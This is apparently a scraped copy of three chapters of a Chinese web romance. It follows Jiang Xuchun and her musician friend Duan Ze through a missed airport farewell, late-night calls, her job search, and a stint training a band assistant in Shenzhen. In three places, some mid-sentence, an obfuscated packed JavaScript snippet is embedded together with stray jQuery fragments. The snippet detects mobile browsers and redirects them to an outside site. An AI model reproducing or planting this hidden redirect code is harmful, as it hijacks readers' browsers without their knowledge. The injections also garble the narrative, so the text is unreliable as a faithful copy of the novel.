她的高考成绩和模考差不多,她的人生一直很平稳,没什么大灾祸,但也少有惊喜发生。 刘蓉找人研究了一番,最后敲定了两个学校。一个在泓州,还有一个在西南某地。 这两一个学校排名高点,一个专业排名高点,但都没有哪个特别突出。 一家人研究好几天,连学校附近商场数量都比上了,还是没想好把哪个填在前面。 “小申有和你说想去哪吗?”刘蓉问。 “她好像想去深圳。” “哦,那小段呢。” “好像是泓州。” 段则前两天有和她提过一嘴,不过和她想填的不是一所学校。 “那就去泓州。”刘蓉一拍桌子,果断下了决定,“到时候起码有个人互相照应。” “啊。”江绪春有点懵,半晌犹豫着一点头。 在填志愿这件事上,从专业到学校,好像都是别人在替她做主。 她就这样被命运推着,再次和段则相聚。 也就是这两年,江绪春渐渐会想,如果当年去了西南上学,现在的她,会过着怎样的人生呢? 16. 第 16 章 走出二中的那条长街,迎面是一条宽阔的双向马路。段则揽着她轻车熟路地向右拐,往她家的方向走。 路上还有放学晚归的初中生在逗留,两个小姑娘脸侧留着长长的须发,头抵头弯着腰,像小动物一样在叽叽喳喳地密谋些什么。 忽然有个女生发现了他们,她戳了戳同伴,另一位心领神会,两人忽地都直起身子,目不斜视地向前走。 擦肩而过之际,江绪春扭头看了一眼她们,正对上她们也望过来的眼,给两个小姑娘吓一跳,又笑又叫地牵手跑远了。 段则全程置身事外,直到听到声音后,才茫然地回头看上一眼。 “怎么了?”他随口问。 “没事。” 江绪春倒很清楚,她们在偷偷看段则。 因为在她上学的时候,也是这么偷偷看帅哥的。 虽然周围人都觉得段则是最帅的那个,但江绪春到底从小看到大,难免也需要一些新鲜的刺激。 偶尔,她会遇上一些可能不如段则,不过很有个人特色的帅哥。 那时候段则早就改叫她“小鸭”了,但她仍自卑地觉得自己是只丑小鸭,除了段则,对上别的帅哥压根都不敢直视。 她会借助每一个同行伙伴作为掩体,再假装看天看地看大树,将帅哥默默纳入到余光范围之内。 段则无疑是最好的掩体,因为他足够高,可以将江绪春整个儿挡在身后,让她悄悄探出一只眼睛,别说余光了,就这么直视帅哥也可以。 开始段则还不明所以,次数多了后,某次他终于反应过来:“你在看那个男生?” “啊?没有啊。”看完帅哥的江绪春心满意足地装傻。 “我帮你跟他要个联系方式?” “你神经病啊!”江绪春急得直拍他,“我才不要。” 看她这副气急败坏的样子,段则被打得直乐:“我说你怎么突然鬼鬼祟祟跟小偷似的,合着是在偷看人家,大方一点不好吗?” “不好。” “为什么不好?” 江绪春支吾着:“他太帅了……” 我太普通了。 面前突然降下一张帅脸。 段则大发神经,猛地弯腰将脸怼到她面前,好险她停住了脚步,才没被他高高的鼻尖抵瞎眼睛。 “你脑残啊,吓我一跳。”江绪春骂他。 “我不帅吗?” 这话不是那种得意的自夸,而是发自内心的疑问。 刚被吓一跳的江绪春不是很想夸他。 “justsoso.”她拽着最近从电视上学来的英语,推开了他。 段则“哦”了一声,直起身子继续和她并肩向前,但突然沉默了很多。 再后来,当江绪春想要看帅哥时,段则已经很自觉去当那个掩体了。 他还会识趣地放慢脚步,好让她看得久一点。 只是每次江绪春看完,他便会皱着眉回头,上下打量人家一番,嘴里发出很轻微的一声“啧”。 ——当然,刚看完帅哥的江绪春还沉浸在刚刚的美好之中,压根注意不到身边人的这么多小动作。 “好想回到初中哦。” 小姑娘们的笑声渐远,江绪春也从回忆中回神,感概道。 不像小学那般稚嫩,也不用面对高考的重担,无疑是最美好的一段青春时期。 “回去干嘛?”段则接话道。 “也不干嘛,就每天上学放学,吃吃喝喝睡睡写写作业,就很好。” “你觉得现在不好吗?” 段则的声音很温柔,蓦地给她心上拨了一道。 “没有不好啦,就是……脑子里总是装了太多事。” 原本揽着她肩膀的手忽而上移,把着她脑袋晃了晃。 “倒出来一点没有?”他问。 江绪春配合地晃晃脑袋:“好像倒出来了一点,对了,你叫什么名字来着?” “完了,给最重要的倒走了。”段则故作一本正经,“我叫江绪春。” “你是江绪春,那我是谁?” “你想不想玩摇滚,弹吉他?” “好啊,那你想不想一事无成,碌碌无为?” “胡说八道。”段则非常顺手地揪了下她脸颊,“我江绪春才不是这样的人。” “那你是什么样的人?” “是个颇有才能,去哪一行都能干得很好,只是不够自信的人。” 江绪春突然有点儿眼热。 她觉得这个世界上能如此信任和肯定她的,除了她妈,就剩段则了,就连她爸,偶尔还会消遣打压她几句。 江绪春吸了吸鼻子,不想把这种煽情时刻延续下去,随口换了个话题:“你明天几点的飞机回去?” “下午两点多,怎么,要来送我么?” “好啊,明天不见不散。” “行,我等你。” “话说,你新专是什么概念?”走过一个转角,江绪春问。 “那些拥有后又失去的。”段则说,“老傅的外婆年初不是过世了吗,都没能看到他巡演,他就写了首纪念他外婆的词,让我帮忙谱曲。 “我写着写着,想到很多我自己拥有又失去的,包括之前写完没地儿发的歌,也有些扣题的,刚好凑成一张专辑。” 老傅是队里的贝斯手,大块头的北方人,但特感性特爱哭。 “那你什么时候给我也写一首?”江绪春头脑一热问道。 “我不是给你写过很多吗?” “写一首这个主题的呀,你不是马上也要失去我了吗?” 话一出,她能感受到肩上的手一僵。 段则的声音忽地轻了些:“我是想给你写首歌,但不是这个主题。” “什么主题?” “下张你自己看。” 陆鲨算是原创乐队里出歌比较快的了,但也要两三年才能出上一张正规专辑。 “你不会把我塞到ep里吧?” “我打算把你放在十周年特别专辑里。” 江绪春掐指一算,从他19岁组建陆鲨至今,居然还有两年就是十周年了。 时间真快,当年她还要四处求爷爷告奶奶送票,而现在的陆鲨已是一票难求。 “好,那我拭目以待。”江绪春说。 比起歌曲,她更好奇的是,到时候他们还会像现在这般熟络吗? 两人走了快四十分钟,终于到了江绪春家楼下。 段则松开手,没了他的环抱,江绪春冷得瞬间打了个哆嗦。 “快上去吧。”段则说,“看你冻得。” “要不要上去坐坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209188|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”毕竟要不是她要求,他也不用在冷风中走这么久。 “两手空空的不太合适,以后有机会再坐吧。” “哦,那我给你打个车吧。” 她说着就拿出手机准备打车,段则一把按下她的手:“我差那点儿钱吗?” 江绪春在冷风中沉默片刻。 其实她刚刚说一千道一万,真正想说的也不过是一句:“谢谢你。” “知道了小鸭。”段则伸手揉了把她发顶,“快上去吧,别冻感冒了。” 甫一推开家门,正在看电视的刘蓉上来就是一句:“你不是去找申涟吗?” “是、是啊。”江绪春忍不住开始心虚。 “你爸在阳台上,怎么看到是个男的送你回来?”刘蓉笑着冲她一挤眼,“有情况了?” 大概是腿摔断后向往自由,江志远一天到晚坐在阳台上往外看。 “是段则。”江绪春说,“回来路上刚好遇到他,他就送我到家了。” “哦。”刘蓉失望地应了一声,重新看向电视,“他回兴榕了?” “嗯,陆鲨不是放假吗,他就回来看他妈妈。” “唉,这孩子还挺孝顺的,要是取向正常一点就好了。” 江绪春不知是该和她解释自己当初撒了谎,还是取向并无正不正常之分。 她最终什么也没说,“嗯”了一声准备回卧室。 “对了,你爸明天打算去拆石膏。”刘蓉在背后叫住她,“你要不要跟着去?” “好啊。”江绪春毫不犹豫地答应了。 第二天中午一吃完饭,一家人齐齐赶往医院。 江志远终于要拆石膏了,众人心情都很好,刘蓉还特地化了个小妆,说要庆祝庆祝。 “给我庆祝,那不是应该给我化妆吗?”江志远调侃道。 刘蓉举着口红上前:“来,给你化一个。” 江志远昂着头,一把按下他老婆的脑袋亲了一口,咧开沾上口红的嘴:“化上了。” 一旁的江绪春默默将目光移向另一边。 拆石膏的过程很顺利,江志远的腿除了有点肌肉萎缩,恢复得还不错,换上护具后勤做康复训练,还是有很大可能恢复如初的。 “真好,晚上我们好好撮一顿。”刘蓉拍拍江绪春,“小春,你来选个地儿。” “哦,好。” 江绪春摸出手机,却发现在静音期间,漏了好多条短信和电话,基本都是来自段则的。 她一愣,这才明白自己这大半天为什么一直恍恍惚惚的,总觉得好像忘记了什么—— 自己昨天答应给段则送机的。 [江绪春:不好意思,我爸今天拆石膏,我就陪着一起来医院了,一时忘了这件事。对不起对不起,都是我的错,我回泓州请你吃顿饭赔礼道歉好不好?] 信息发完,她刚准备切出去搜餐厅,顶上突然弹出来一条消息。 [段则:你什么时候回泓州?] 江绪春看了好几遍,确认不是自己眼花了。 [江绪春:你不是应该在飞机上吗?] 他网瘾好像没有大到这两三小时还要买个wifi吧。 [段则:我没有上飞机。] [江绪春:为什么?] [段则:你不是说了不见不散么?] 17. 第 17 章 出租车停在了机场外,江绪春匆匆撂下一句“谢谢”,便拔腿向内狂奔。 兴榕的机场很小,江绪春在大厅扫视一圈,瞬间定位到不远处的某个身影。 段则头戴一顶棒球帽,坐在椅子上弯着腰,正在逗一个小孩儿玩。 可能小孩儿都是颜控,明明段则面无表情时还挺教人发怵,但不知怎的,他特别有小孩儿缘,男孩儿女孩儿都爱和他玩。 此刻段则手拿一支棒棒糖,两只手倒来倒去,就是不给面前这个小女孩。女孩儿被耍得团团转,偏也不恼,还“咯咯咯”笑个不停。 江绪春在远处看了半分钟,才走上前去,默不作声地立正。 段则先察觉到了她,他抬头看她一眼,而后将棒棒糖递到小女孩手里,摸摸她的头:“恭喜你赢得比赛,奖品给你,哥哥先走了。” “哥哥拜拜。”小女孩拿着心爱的棒棒糖,目光却一直跟着他转。 段则拉着登机箱,同她朝无人的地方走去:“你来了。” “嗯,不好意思,都是我不好……” “打住,如果是专程来道歉的话,没必要,我已经原谅你了。” 可她确实是专程来道歉的。 两人在角落站定,在周围脚步匆匆的人群衬托下,显得格外无所事事。 “你怎么真的没上飞机。”江绪春想不通。 “你说了不见不散啊,没见到你我怎么走。” 江绪春不知道他为什么突然特别较真。 在这种时刻,她会觉得他不像一个奔三的成年人,反倒像个青春期的孩子,较真、敏感,还有点儿叛逆。 可能这些搞艺术的,身体里就是住了很多具不同的灵魂。 “现在应该还有去泓州的飞机,我帮你买吧。”江绪春说。 也算是一点补偿。 段则默不作声地看她刷着购票平台。 直到进行到付款那步,他按下她的手:“你知道我为什么不走吗?” 江绪春看着他,很认真地摇摇头。 段则扯了下嘴角,扭头看向别处,好像在犹豫说不说。 而江绪春的目光始终定在他面上,耐心等待他的答案。 “因为我觉得,这次见不到你……”良久后,段则才开口,“我可能就再也见不到你了。” “怎么会呢。”江绪春哑然失笑,“最起码,我还有东西在泓州要收拾啊。” “是,是还有见面的机会,但可能再也见不到现在的你了。那时候你或许已经找到了男朋友,甚至已经领证,也开始了新工作,总之,是和现在不一样的你。” “那样的我……不好吗?”江绪春轻声问。 段则沉默少顷:“如果你想要过那样的生活,那应该很好吧。” 广播里的机械女声在通知登机口的临时更改,江绪春盯着他看了一会儿,上前抱住了他。 段则一开始只是任她抱,片刻后,终于躬身回抱住她。 一大片重量压过来,她摇晃了一下,将他抱得更紧了些。 不知是谁先松开的手,彼此默契地各退一步,四目相对,都笑了。 “行了小鸭,你回去吧,我坐下一班飞机走。” 江绪春点点头,一路送他到柜台外。 她刚准备转身离开,忽而回头道:“我不会变的。” 段则讶异地看她一眼。 “或者至少,在我改变之前,我会和你再见一面。” “好。” 出租车行驶在回市区的高架上,江绪春望着窗外略显荒芜的景色,头脑因为过于杂乱,反而没法去思考些什么。 段则在兴榕这几日发生的种种,一直在她脑中打转,之前她总有一种说不清的恐惧,但今天听了段则的话后她明白了—— 她也害怕他们再次见面,可能就是物是人非了。 来到餐厅,父母一早在包厢等候。 “我和你爸点了些你爱吃的菜,你看看,还有什么要加的。”刘蓉把菜单推给她。 好像不管是为谁宴请的饭局,点的永远是她爱吃的菜。 江绪春翻着菜单,加了几道父母爱吃的菜。 “小段回去了?”等待上菜的间隙,刘蓉问道。 “嗯,他有工作要忙。” “哦,你不用去帮忙吗?” 江绪春摇摇头。 少顷,她突然道:“爸、妈,你们说,要是我换个工作怎么样?” “挺好的啊,想换什么工作?”刘蓉道。 她以为她妈会很惊讶,或者至少问句为什么,这副子淡定的反应,反倒让江绪春一时无所适从。 她转头看向江志远,这位耸了耸肩:“当初你要做这一行,不就来了个先斩后奏,我们的意见大概率你也不会听,想做什么就做什么吧。” 被说中的江绪春笑得很是无奈。 “不过,不管你做什么。”刘蓉说,“如果有什么不开心的,一定要跟妈讲。” “也要跟爸讲。”江志远插嘴道。 “你爸懂个屁,你爸就知道插科打诨。” “你就说听了开不开心吧。” …… 夫妻俩又开始旁若无人地拌嘴,江绪春知道自己插不上话,默默先动了筷子。 回到家,江绪春第一件事便是坐到书桌前,翻开了高中时期买的,至今只写了两页的计划本。 她一直算不上一个多有规划的人,虽然常常靠买一堆计划本来督促自己,但往往坚持不过第二天。 只是工作性质逼着她必须计划好自己的日程,这些年她习惯手机和电脑一套电子日程表,还得随身带个纸质日程本,按分钟规划好每一个任务。 想来,她还是从这份工作中学到很多东西的。 江绪春掀开这本花里胡哨的计划本,准备也规划一下自己的未来。 说未来太远,那就限定在这剩下的两个多月。 刚写下“工作”两个字,她突然就卡了壳。 那天和申涟聊完后,江绪春已经渐渐放弃了考公,但她还没想好下一个让自己追逐的目标。 她上网搜了下专业对口的工作,却发现好像哪个都不感兴趣。 又或者,她这些年攒了不少钱,本来准备买房,现在看来,倒也可以试着投资一个店铺。虽然她对经商兴趣缺缺,但也不失为一个出路。 想来想去,江绪春默默在工作那栏下写了个“待定”。 至于个人生活方面,江绪春没有犹豫。 她的目标很明确,她想要在这两个多月内,找到一个发展对象。不一定要领证,甚至不一定确立关系,但起码彼此心意相通,可以进一步发展。 写完后,江绪春盯着这混乱的计划表皱起了眉。 怎么计划起之前的工作那么清晰美观,一到自己的生活,怎么理都是一团乱麻。 她随手将计划本扔到一边,目光不自觉瞥向手机,忍不住打给了段则。 等待音响了半分钟后,那头才接通。 “喂?小鸭。” “你在干什么?” “在录音室录音,怎么了?” “没什么,就想问问你到泓州了没有。” 那头沉默少顷:“我两小时前就到了。” 还好不是面对面,江绪春无须掩饰面上的尴尬。 “哦,那你忙吧,不打扰你了。” “发生什么事了?” “真没事,就是有点无聊,习惯性想打给你。” “这习惯挺好,继续保持。” 等完成“个人生活”那一项的计划,怕是就保持不了了吧。 江绪春趿拉着拖鞋走到床边,一头躺倒,含混地“嗯”了一声。 “不过我现在确实有点忙,晚上到家回给你,怎么样?” “好。” “拜拜,小鸭。” “拜拜……” 她突然想趁着最后能保持习惯的时候,叫点“段则”之外的称呼。但一堆词汇在嘴边过了一转,一个也没能说出口,只等到一串忙音。 江绪春随手一丢手机,默默在床上打了个滚,整个儿将自己埋进了被子里。 王八蛋、狗东西、十三点、二百五、装x怪、墨镜男…… 段则。 ……段则。 洗漱完毕,江绪春窝在床上,下载了好几个求职app。 App上要求她写一份电子简历,除了当年找实习时,她几乎没再写过这个。某种意义上,她算是一个比较长情的员工,但因为履历太过垂直,跨行跳槽似乎不算容易。 至于意向城市,她不想待在兴榕,而离开了陆鲨,她也不太想留在泓州。到最后,她干脆把北上广深都填了上去。 此时的她就是一只刚刚离笼的鸟,扑腾着翅膀迫不及待想飞,却因为天空过于宽广,反倒迷失了方向。 一切准备完毕,江绪春正准备刷一刷系统推荐岗位时,电话响了,来自段则。 “喂。” “没睡吧,小鸭。” “睡了,被你吵醒了。”江绪春故意道。 “撒谎。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214071|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒被揭穿的江绪春忍不住坐直身体:“你怎么知道?” “我又不是不知道你刚睡醒是什么声音。” 是,他什么都知道。 除了没赤诚相见过,两人基本已经把对方了解了个底朝天。 ……倒也不一定。 起码有一个秘密,江绪春觉得他还不知道。 “所以你找我有什么事?”江绪春问。 “搞错了吧江小姐,不是你晚上先找的我吗,我这不刚忙完,就马上给你回电话了。” 这么一对比,段则倒还挺言而有信。 “不是说了吗,习惯而已。” “我不习惯。” “怎么了?” “刚工作完肚子饿,想找你吃夜宵,才想起来你不在。” “你怎么不找老傅他们?”江绪春说,“除了阿光陪女朋友旅游去了,其他人应该都还在泓州吧?” “我就想找你。”段则的语气很无赖。 “那你就饿着吧。”江绪春比他更无赖。 那头沉默几秒,居然“啪嗒”把电话挂了。 没礼貌的家伙。 江绪春在心底吐槽了几句,重新开始刷求职app。 花里胡哨的岗位描述看得她头疼,她感觉自己好像脱离传统职场环境太久,已经有些看不明白现下的风气。 她正准备收拾收拾先睡一觉,电话又响了。 同样来自段则,不一样的是,这是通视频电话。 本着想看看他在搞什么鬼的原因,江绪春还是接通了。 甫一接通,出现在屏幕上的不是他那张帅脸,而是一桌比他更诱人的美食。 江绪春一眼就认出来了,那是两人常去的一家居酒屋,也是让她长胖的元凶之一。 虽然今晚吃得很饱,但已经过去了三四个小时,江绪春下意识咽了下口水,睁大眼一道道菜看过去,刚看一半,镜头翻转,段则盯着她直乐。 ……美食当前,她都忘了段则能看到她的样子。 段则调整了一下手机,似乎将它立在了桌上,这个角度不仅能看到桌上的菜,也能看到段则的脸。 他慢条斯理地拿起一串烤鸡软骨,在镜头前三百六十度全方位展示一番后,慢悠悠地咬了一块,还特地凑近听筒,让她听他咬得嘎嘣脆的声音。 这头的江绪春口水都咽累了。 “你有病啊段则。”她真想马上飞到泓州锤他。 段则权当耳旁风,又拿起一串烤猪颈肉,依然是一番尽职的吃播展示。 江绪春回忆着冰箱里的东西,下意识看了眼卧室门。 再看向屏幕,段则已经开始展示她最爱的京葱鸡肉串了。不知是不是故意的,这次他展示得格外细致。 江绪春终于忍无可忍,起身穿鞋冲向了厨房。 一分钟后,江绪春在这头啃着冷面包,继续看着段则色香味俱全的吃播。 烧鸟已经吃完了,他将一盘炒乌冬拉到近前,搛起热气腾腾的一筷子,也不急着吃,就是展示。 “回头胖死你。”江绪春徒劳地开始诅咒他。 段则敷衍地“嗯嗯”两声,将一筷子面全部吃下,随着他的动作,江绪春忍不住又咽了下口水。 冷面包光能填补空虚的胃,但喂不饱旺盛的馋虫。 江绪春又馋又气,觉得今晚接起这通电话完全是个错误。 至于为什么不挂断…… 可能是她想多看几眼段则的脸。 哪怕对面这个人让她气得牙痒痒,她也还是想一直看着他。 炒乌冬逐渐见底,段则低头凑近屏幕,像是才发现她似的,故作讶异道:“哟,你还在呐。” “明天你就水肿发胖涨一百斤!”江绪春恶狠狠地诅咒他。 “你面包吃得不也挺香?我涨一百你涨五十,很公平吧?” “去死啦!” 段则笑笑,放下筷子:“不过,我还是更想和你一起吃。” 江绪春正在脑中编排更为恶毒的诅咒,闻言不由得一愣,都不知该怎么接话。 “老板还问我呢,说今天怎么一个人来。”段则说,“我说你回老家了。” 江绪春的心情逐渐平和下来,静静听着他说话。 “他问你什么时候来泓州,我说不知道。”段则说,“可能再也不来了。” 居酒屋的灯光昏黄,今晚放的似乎是昭和时期的歌,有种老派的忧伤。 段则轻叹一口气:“你说是不是老板手艺变了,怎么今晚这一顿,我吃得特别不是滋味呢?” 18. 第 18 章 blue 段则有没有长胖她不知道,但是那一晚,因为塞了一肚子面包,江绪春辗转难眠。 她始终在想段则最后说的那几句话,自打她提出离职后,她总觉得段则在释放一种信号,一种好像他很需要她的信号。 这种需要不是基于工作,而是生活。 又要陪老板工作又要陪老板生活,江绪春忽然觉得自己这个高薪拿得非常理所应当。 又或者从一开始,就不该把朋友变成老板。 更不该和朋友一起生活。 本着周末回消息的公司不能去的原则,江绪春等到周一才开始投递简历。她先投了几家兴榕的公司试试水,打算积累一下面试经验。 小城市体制外没什么好工作,胜在要求也低,江绪春很快收到了几家面试邀约。 第一家是个新媒体文案运营工作,勉强也算专业对口。 公司不大,负责面试的就是老板之一。他拿着她的简历,好像对她上一份工作很好奇,一直追问个不停。 这让江绪春觉得,他压根不是想招他,纯粹是对娱乐圈有所好奇。可惜陆鲨也只是在娱乐圈擦了个边,对那些内部八卦,她实在知之甚少。 告别了八卦的第一家公司,翌日,江绪春又去了第二家公司。 这家比上家规模大点,也更正规些,起码有个正儿八经的hr。那是个化着浓妆的中年女人,因为长期皱眉,眉心有道消不去的川字纹。 Hr略显嫌弃地用拇指和食指拎着她的简历,嫌她没有垂直经验,嫌她不够有网感,嫌她年纪大还尚未婚育。 江绪春感觉自己像一块菜市场案板上被挑来拣去的肉,出于极高的修养才没有提前离场。 第三家是个年轻的初创公司,hr小姑娘比她还小上三岁,两人相谈甚欢,当晚就给她发了offer。 只是这工资也很年轻,只有她曾经最高工资的零头,但听绩效要求,工作强度并没有低多少。 江绪春默默推了后面的几家面试,彻底对兴榕的就业市场死心。 个人生活方面,江绪春也没落下。 她觉得自己可能和母亲介绍的相亲对象八字犯冲,决定自己主动出击。 她在社媒上搜索了一下如何结识异性,并据此参加了各种桌游和剧本杀活动,结果到场的男性不是大学生,就是已有家室但仍想猎艳的。 一周过去了,两项任务都毫无进展的江绪春绝望地躺倒在床。 她想要什么呢,她问自己,她到底想要什么? 她想要一份有趣的,且让人有成就感的工作;她想要组建一个幸福的家庭,和父母一样,就算已知天命,仍怀有对彼此的热情。 是要求太高了,还是她其实在自己骗自己? 手机震动了一下,江绪春摸出来一看,来自向镭。 [向镭:忙吗?] [江绪春:不忙。] 电话就在下一秒打过来。 向镭那头听着有点嘈杂,脚步声响起,她似乎走到了个僻静地儿。 “最近休假都在干什么呢小江,看你朋友圈好像回老家了?”向镭说。 “嗯,回家看望父母。” “有没有兴趣接个私活?” “私活……?”江绪春下意识从床上坐起。 “鹏艺最近不是新签了个乐队吗,让我来带。乐队助理和你一样,也是签约前就跟着他们的,但那个小姑娘什么都不懂。我手下艺人太多,实在没空,你看你方不方便带她一段时间,放心,钱不会少。” 鹏艺就是陆鲨目前签约的公司,位于深圳。 “我……”消息来得突然,江绪春一时不知该如何回应。 “也就个把月,需要驻扎深圳,带她跑几个通告,熟悉一下流程。当然,你要是不方便也完全可以,不强求,但最好两天内把答复给我,好吗?” “好,谢谢镭姐。” 说是两天,但翌日下午,江绪春已经坐上了去深圳的飞机。 她觉得自己继续在兴榕待下去只会越待越消沉,而深圳无疑是个适合发展的城市,她可以用这一个月好好熟悉一下环境,结束这个短期工作后,要是合适,直接开始找新工作。 关于这件事,江绪春谁也没有说。 对于家人,她只说陆鲨有工作要忙。对于段则,她更是只字未提。 除了向镭,没人知道她已经来到了深圳。 节气已近小雪,来往行人穿搭各异。有仍着短衫凉拖的男人,也有裹着大衣的女人,江绪春听从向镭建议,穿了件薄绒卫衣,在不刮风的时候算是刚刚好。 公司给她在酒店安排了间包月套房,匆匆办理完入住后,她便赶到了公司。 泓州和深圳一北一南,除了签约初期和年会,江绪春基本没怎么来过公司,每次看到门头都有种陌生的感觉。 鹏艺新签的乐队名叫bluenight,是个前两年刚组建的新兴乐队,由一群大学时志同道合的好友组成。 他们和陆鲨很像,但他们比陆鲨更幸运。他们在大学时便打出名气,出了第一张专就能参加音乐节,如今又签约了业内知名的鹏艺,未来一片坦途。 就是眼前这个只会傻笑的小姑娘,好像还没明白他们一路走来有多顺利。 小姑娘名叫lily,人如其名长得像百合一样纯洁,但性格也同样天真。她是主唱的妹妹,之前只是受姐姐之托兼丨职当助理,今年毕业了,便决定正式踏入这一行。 “你好,lily。”江绪春向她伸出手来。 “你好呀绪春姐,镭姐已经和我说清楚了,接下来我一定好好向你学习!”小姑娘说到最后一个立正,神情严肃,就差没敬礼了。 江绪春哭笑不得,把从兴榕带来的点心送给她,想拉近些两人的关系。 Lily也没推脱,坐下就开始吃,边吃边夸,吃完忽然想起来:“糟了,我忘记给你带礼物了。” “不用,这也算不上什么礼物,就是分享点好吃的。” “那下次我也和你分享!” “好啊。” 江绪春看着她,忍不住在想,自己刚入行时,在别人眼里是不是就是这副模样。 当年,她比起陆鲨的助理,更像是段则的跟屁虫。 她每天都不知道要干什么,就亦步亦趋地追着段则跑,每次收到任务也不懂如何执行,段则一看她茫然的眼神就心领神会,手把手一点点教她。 最开始,那些合作方嫌她什么都不懂,不愿意与她对接。 他们是对的,因为就算找了她,她还是会去找段则,然后围观段则工作,不时问点问题。 团队加上江绪春拢共五个人,段则要负责几乎四人份的工作,其余四个瓜分剩下那点,江绪春是当中最没用的那个—— 并且因为他当初的承诺,还是收入最高的那个。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217522|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有时候段则实在太累,解答她那些有点白痴的问题时,语气会变得不是很好。 江绪春理解他在高压下的情绪,所以从不多说什么。但每次等他忙完一波,段则会突然带份奶茶甜品之类的找到她,和她说句“不好意思”。 “我没有怪你啦,是我自己工作能力不足。”江绪春说。 段则疲累地在她身边坐下,身子一歪,靠倒在她肩膀上,微阖着眼,声音也喃喃的像在梦呓:“你后悔吗?” “什么?” “后悔加入这里吗?” 其实在当下,说不后悔是不可能的,虽然工资还算可观,但前景过于渺茫。哪天陆鲨解散了,她都不知道自己何去何从。 可江绪春怎么可能说这些话。 “当然不后悔。” 她听见段则沉闷地舒了口气,轻声道:“快吃吧,等会儿奶油要化了。” 语罢,就累得在她肩上睡着了。 段则倚的是右肩,江绪春只能艰难地用左手吃完了那牙蛋糕。 未来昏暗又迷茫,但嘴里的奶油香甜,她想随它去吧,过一天算一天,她要和段则一起做白日梦。 而眼下,她显然已经长成了可以独当一面的存在,甚至还有资格带其他助理。 向镭和她交接了bluenight接下来一月的行程细节,便匆匆告别,她是个大忙人,当晚就得坐红眼航班飞上海。 都是些常规通告,江绪春没什么负担,自信地保证一定圆满完成任务。 “再这样下去,你都快能接替我的工作了。”向镭笑说。 “不敢当,辛苦你了镭姐,等你回深圳请你吃饭。” “好,那我先走了。” 江绪春一直目送向镭离开会议室。 陆鲨虽已在摇滚圈崭露头角,但和鹏艺的众多大牌艺人相比,只能算是底层。因而公司并没有多重视陆鲨,都没安排几个人手,她名义上是助理,可执行经纪的活差不多也是她来做。 而她并不在意这些title,反正她也不和鹏艺签合同,叫什么都不影响她的工资。 更何况,带完这个小姑娘,她就要彻底告别这一行了。 Lily的脑筋其实很活络,只是签约公司后,通告变多,且流程变得正规而繁琐,再加上公司也没人带她,她一下子六神无主。 在江绪春的指导下,她进步神速,几乎每天都能看到她比前一日更成熟自信。 一旁的江绪春也与有荣焉,充满成就感。 “绪春姐,我太喜欢你了,你不要走好不好。” 小姑娘正是粘人的年纪,一个月刚过半,她已经提前开始分离焦虑。 “我留在这里,那陆鲨怎么办?” “你就不要他们了,跟着我们嘛。”lily开玩笑道。 江绪春笑了笑,没说话。 电话恰在此时响起,还是视频电话,来自段则。 想起刚刚两人的聊天,一瞬间,江绪春有种出轨被抓包的感觉。 这会儿她正和lily在后台,电话一接,还真可能会露馅。 江绪春忙挂断了电话。 [江绪春:我现在不方便接电话,怎么了?] 段则倒也没再打,而是甩了张图给她。 这是bluenight歌迷抓拍他们离场的一张图,而在跟随的工作人员中,分明拍到了江绪春的身影。